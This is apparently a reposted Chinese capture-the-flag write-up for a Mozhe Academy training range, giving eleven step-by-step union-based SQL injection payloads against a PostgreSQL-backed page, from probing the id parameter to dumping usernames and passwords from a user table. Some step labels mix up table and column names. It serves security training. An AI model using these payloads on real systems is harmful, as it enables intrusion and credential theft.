墨者学院 - SQL手工注入漏洞测试(PostgreSQL数据库)

postgreSQL的注入和mysql 的注入语法是类似的,有一点小的差异:

postgreSQL查询当前数据库使用:current_database()函数;

在pg_stat_user_tables库查询表名,使用relname关键字;

和MySQL的limit使用有差异,语法为limit 1 offset 0。

手工SQL注入过程,数据库执行的语句,是页面提交至服务器应用程序,应用程序获取id的值,然后把值拼接到查询语句中,在到数据库中查询,通过程序解析后,把结果返回在页面上,(使用时请将mozhe.cn替换成对应的靶场地址)。

开启靶场环境:
image1.png

第1步:

image2.png

页面提交:http://mozhe.cn/new_list.php?id=1
数据库执行语句:select * from sns_users where id=1
页面返回描述:返回内容正常
分析解说:正常浏览页面,找到有参数的地方,如id。

第2步:

image3.png

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=1
数据库执行语句:select * from sns_users where id=1 and 1=1
页面返回描述:返回内容正常
分析解说:测试SQL语句。

第3步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2
数据库执行语句:select * from sns_users where id=1 and 1=2
页面返回描述:返回内容为空
分析解说:因为sql语句中,1=2不成立。注入存在。

第4步:

image4.png

页面提交:http://mozhe.cn/new_list.php? id=1 order by 4
数据库执行语句:select * from sns_users where id=1 order by 4
页面返回描述:返回内容正常
分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容正常,可以确定至少有4个字段。

第5步:

页面提交:http://mozhe.cn/new_list.php?id=1 order by 5
数据库执行语句:select * from sns_users where id=1 order by 5
页面返回描述:返回内容为空
分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容不正常,说明字段数少于5个。即确定为4个。

第6步:

image5.png

页面提交:http://mozhe.cn/new_list.php? id=1 and 1=2 union select null,null,null,null
数据库执行语句:select * from sns_users where id=1 and 1=2 union select null,null,null,null
页面返回描述:返回内容为空
分析解说:全部用null填充 方便在测试类型。

第7步:

image6.png

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select null,'null','null',null
数据库执行语句:select * from sns_users where id=1 and 1=2 union select null,'null','null',null
页面返回描述:测试出字符型。
分析解说:爆出可测试的类型。

第8步:

image7.png

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select null,'null',current_database(),null
数据库执行语句:select * from sns_users where id=1 and 1=2 union select null,'null',current_database(),null
页面返回描述:返回数据库名
分析解说:通过SQL语句联合查询得到数据库名。

第9步:

image8.png

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select null,'null',relname,null from pg_stat_user_tables limit 1 offset 1
数据库执行语句:select * from sns_users where id=1 and 1=2 union select null,'null',relname,null from pg_stat_user_tables limit 1 offset 1
页面返回描述:得到字段名
分析解说:通过SQL语句中联合查询,修改offset后面的数字得到2个字段,和字段名。

第10步:

image9.png

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select null,'null',column_name,null from+information_schema.columns where table_name='reg_users' limit 1 offset 1
数据库执行语句:select * from sns_users where id=1 and 1=2 union select null,'null',column_name,null from+information_schema.columns where table_name='reg_users' limit 1 offset 1
页面返回描述:得到表名。
分析解说:通过SQL语句中联合查询,得到表名。修改offset后的数字,得到所有4个表。

第11步:

image10.png

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select null,'null','用户名:'||name||',密码:'||password||',状态:'||status||',id:'||id,null from reg_users
数据库执行语句:select * from sns_users where id=1 and 1=2 union select null,'null','用户名:'||name||',密码:'||password||',状态:'||status||',id:'||id,null from reg_users
页面返回描述:得到最终结果
分析解说:通过SQL语句联合查询,显示出key的MD5值。

转自:墨者学院该题writeup

猜你喜欢

转载自blog.csdn.net/qq_42357070/article/details/81873458